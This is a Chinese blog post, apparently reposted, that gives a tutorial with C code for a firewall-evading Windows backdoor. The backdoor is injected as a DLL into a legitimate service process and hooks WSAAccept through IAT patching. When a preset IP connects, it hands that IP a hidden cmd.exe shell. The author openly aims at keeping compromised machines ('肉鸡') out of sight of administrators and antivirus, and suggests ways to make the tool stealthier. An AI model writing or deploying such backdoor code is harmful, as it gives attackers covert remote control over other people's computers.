劫持WSAAccept()实现无端口后门

     劫持WSAAccept()实现无端口后门                                                                            

   随着网民安全意识的日益提高,现在找个安全隐蔽饿后门是越来越难了。用现成的固然省事,但无奈前有防火墙的堵截、后有杀毒软件的追击,用起来还得百般小心,生怕露出马脚,被管理员发现,好不容易得来的肉鸡又倾刻飞掉,岂不痛心?俗话说“自己动手,丰衣足食”,我就不信自己写的后门也会立刻被杀!心动不如行动,让我们马上开始吧! 需求分析我们的目的很简单:①实现一个后门,②能穿透防火墙,③不能立刻被杀(自己写的当然不会被杀啦)。实现方法及原理①相信大家都知道怎样通过编程把一个Cmd Shell绑定到Socket吧,我今天要编的这个后门基本上也是使用这种方法。以前黑防的文章已经讲过很多了,我就不赘述了。② 穿透防火墙,这是一直以来,尤其是最近大家谈的热点话题之一,也是我这次所要和大家探讨的主要内容。在具体实现上,我的思路是先找到一个合法的网络服务进程P,做一个动态链接库(DLL)文件Seize.dll,以CreateRemoteThread的方法将其插入进程P,形成线程T;线程T根据PE文件格式,查找P进程的引入函数地址表(IAT),并在IAT中查找WSAAccept和Accept函数的指针,修改其值使之指向我们自己定义的函数 FackWSAAccept;函数FackWSAAccept首先调用真正的WSAAccept函数,判断客户身份,绑定Shell并返回,这就是所谓的劫持。这样的好处是没有可疑进程,而且不开端口。知识准备动态链接库:一个可以被某个进程调用执行的文件,它可以包含被进程调用的资源、函数、全局变量等,它也是PE格式文件。它的入口函数是DllMain ,也可以为空。当DllMain存在时,进程在加载/卸载时会调用此函数。PE 文件格式:可移植执行体,分为DOS stub、PE header、Section tables、Sections等几部分,我们这里关心的是PE header里的Optional header,它的Import Address Table(IAT)成员就指向了我们要修改的引入函数地址表。网上有很多关于PE文件格式的文章,不做过多分析了。引入函数地址表:即IAT,PE文件在运行时经常要调用API函数,当进程加载时,操作系统会把它要引用到的API函数的地址写到这个位置,当函数调用时,一般会使用如下方式:PUSH *…CALL ADDR1…ADDR1: JMP [ADDR2]这里的ADDR2就是引入函数地址表中某个API的指针。ADDR2处的内容就是我们下手的对象了。实现过程首先假设我们已经写好了能把Seize.dll插入到进程P的程序,这个很简单,请大家自己动手,我就图个轻闲了。下面来看看Seize.dll是怎么工作的:1.构造DllMain函数,以便完成劫持功能:BOOL APIENTRY DllMain ( HINSTANCE hInstance,DWORD dwReason,PVOID pvReserved){switch (dwReason){case DLL_PROCESS_ATTACH:Seize();break;default:break;}return TRUE ; }Seize函数就是劫持API的功能,其实现请往下看。2.这里就是Seize函数的关键代码了。首先必须清楚,要修改进程内存映像,需要SE_DEBUG_NAME权限,通过下面3个函数实现:OpenProcessToken();LookupPrivilegeValue();AdjustTokenPrivileges();它们在中,线程插入程序也要用到的,方法很简单,先要加一行:#pragma comment(lib, "Advapi32")通知编译器挂接Advapi32.lib ,然后:HANDLE hProcessToken;TOKEN_PRIVILEGES tp;LUID luid;OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, & hProcessToken);LookupPrivilegeValue(NULL, SE_DEBUG_NAME, & luid);tp.PrivilegeCount = 1;tp.Privileges[0].Luid = luid;tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;AdjustTokenPrivileges( hProcessToken,FALSE,& tp,sizeof(TOKEN_PRIVILEGES),(PTOKEN_PRIVILEGES) NULL,(PDWORD) NULL );3.获取IAT的地址①这里要根据PE文件格式来计算了,有点乱,大家注意看了。首先得到可执行模块的基地址(DOS stub):char * lpProcName = "目标模块名称";HANDLE hModHandle = GetModuleHandle(lpProcName);DWORD dwBase = (DWORD)hModHandle;你可能会问了,这不是模块“句柄”吗?是,但它也确实等于基地址。②PE header的地址偏移量存在于(基地址+0x3C)处,则:DWORD * lpdwPE = (DWORD *)(dwBase + 0x3C);DWORD dwPEAddr = dwBase + (* lpdwPE);③下面就可以找到IAT的地址了,它的偏移量在PE header偏移0xD8处:DWORD * lpdwIAT = (DWORD *)(dwPEAddr + 0xD8);DWORD dwIAT = dwBase + (* lpdwIAT);④查看WSAAccept的真实地址:HANDLE hModWs2_32 = LoadLibrary("Ws2_32.dll");DWORD dwProcAddr = (DWORD)GetProcAddress(hModWs2_32,"WSAAccept");⑤查找IAT中索引WSAAccept的地址(小心不要死循环):while(*(DWORD *)dwIAT != dwProcAddr){dwIAT += 4;}此时的dwIAT就已经是我们的目标了。4.下面可就要修改dwIAT处的内容了:①要修改内存映像的内容,首先要修改它的访问属性为可写:DWORD dwOut;VirtualProtectEx( GetCurrentProcess(),(LPVOID)dwIAT,4,PAGE_EXECUTE_READWRITE,& dwOut );②偷偷的把我们自己构造的函数地址写进去:DWORD dwFakeFunction = (DWORD)& FakeWSAAccept;WriteProcessMemory( GetCurrentProcess(),(LPVOID)dwIAT,(LPVOID)& dwFakeFunction,4,& dwOut );这里有一个小问题需要注意,上面这两个函数中的 dwOut,一个是原访问属性的输出,一个是实际写入字符个数的输出,它们都不能为NULL,否则会导致函数调用失败。我在调试程序的时候,发现 VirtualProtectEx总是失败,整整困扰了我一天,后来才发现是这个小问题在作怪,真是郁闷!这里的FakeWSAAccept是我构造的函数,用以冒充WSAAccept,其实现请往下看。5. FakeWSAAccept函数也很简单,它先调用WSAAccept,根据返回的Socket查询客户端IP地址验证客户端身份,如果是事先设定的地址,就创建一个Cmd Shell绑定到这个Socket上,并返回INVALID_Socket以蒙骗宿主进程;否则直接返回刚才得到的Socket。这种身份验证方法有个好处,别人即使知道你的肉鸡,如果他不能冒充/盗用你的IP地址,就根本无法连接肉鸡。还是看代码吧:Socket WSAAPI FakeWSAAccept(Socket s,struct sockaddr FAR * addr,LPINT addrlen,LPCONDITIONPROC lpfnCondition,DWORD dwCallbackData){struct sockaddr_in PeerName;int NameLen;DWORD dwThreadId; skGlobal = WSAAccept( s,addr,addrlen,lpfnCondition,dwCallbackData );//调用真实的WSAAccept函数,获得Socket 。此处的skGlobal是Socket型的全局变量,用以做Shell线程的参数getpeername( skGlobal,(struct sockaddr *)&PeerName,&NameLen);//查询客户端IP,确定身份。PARTICULAR_IP是我#define的一个字符串,如"192.168.0.2"if( PeerName.sin_addr.s_addr!= inet_addr(PARTICULAR_IP)){return(skGlobal);}//通过验证,创建Shell线程作为后门CreateThread( NULL,0,& ShellThread,& skGlobal,0,& dwThreadId );return(INVALID_Socket);}6.上面的ShellThread是Shell线程入口函数,下面介绍功能。①创建两个匿名管道,作为Socket与Cmd.exe进程通信的中介。有人说可以直接把Socket绑定到Cmd.exe进程上,这话没错,但它要求Socket是非重叠的(Un-overlapped),而我们得到的Socket并不一定是非重叠的:CreatePipe(&hToCmd, &hFromSock, &stSecAttribSockToCmd, 0);CreatePipe(&hToSock, &hFromCmd,& stSecAttribCmdToSock, 0);②绑定匿名管道到Cmd.exe并创建隐藏进程:GetStartupInfo(& stStartInfo);stStartInfo.dwFlags = STARTF_USESHOWWINDOW |STARTF_USESTDHANDLES;stStartInfo.wShowWindow = SW_HIDE;stStartInfo.hStdInput = hToCmd;stStartInfo.hStdOutput = hFromCmd;stStartInfo.hStdError = hFromCmd;GetSystemDirectory(lpCmdLine, MAX_PATH);strcat(lpCmdLine, "//CMD.EXE");CreateProcess( lpCmdLine,NULL,NULL,NULL,TRUE,0,NULL,NULL,& stStartInfo,& stProcInfo );③终于看到曙光了,数据传输就靠这一步了,循环读写Socket和匿名管道,实现后门通信(还要小心别死循环):ReadFile( hToSock,lpBuf,BUF_SIZE,& dwRetBytes,NULL );send(sk, lpBuf, dwRetBytes, 0);dwRetBytes = recv(sk, lpBuf, BUF_SIZE, 0);WriteFile( hFromSock,lpBuf,strlen(lpBuf),& dwRetBytes,NULL );至此,我们的后门就完成了,在Windows 2000 Pro系统、VC++ 6.0环境下编译完成,支持多线程。至于远程线程插入的代码和开机自动加载、后门隐藏等功能,我就不提供了。完整代码请参考附带源程序。总结这个后门还有一定局限性的:1.必须在宿主进程调用WSAAccept前完成劫持API的工作;2.宿主进程调用WSAAccept “失败”后不能退出,否则我们的Shell线程就失去了宿主(所谓“魂不附体”);3.肉鸡必须暴露在外网,如果有NAT(网络地址转换,相当于肉鸡在内网)机制,后门将无法识别客户端身份;4.在肉鸡的进程列表里会多出一个Cmd.exe进程;5.有DLL文件存在,将来容易被发现。改进设想:主要是针对第4、5点的问题,可以把劫持功能和执行命令的功能完全用代码实现,然后直接将代码插入,就不需要DLL文件了,也不需要创建Cmd.exe进程了,但会造成编程难度增大;对于第3点的问题,我们可以考虑改为劫持WSARecv和recv函数,然后用字符串方法验证客户端身份,但处理不好,一旦函数调用超时或者让宿主进程发现“非法数据”,Socket有可能被Close掉。 转自  http://blog.chinaunix.net/u1/59472/showart_464881.html

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值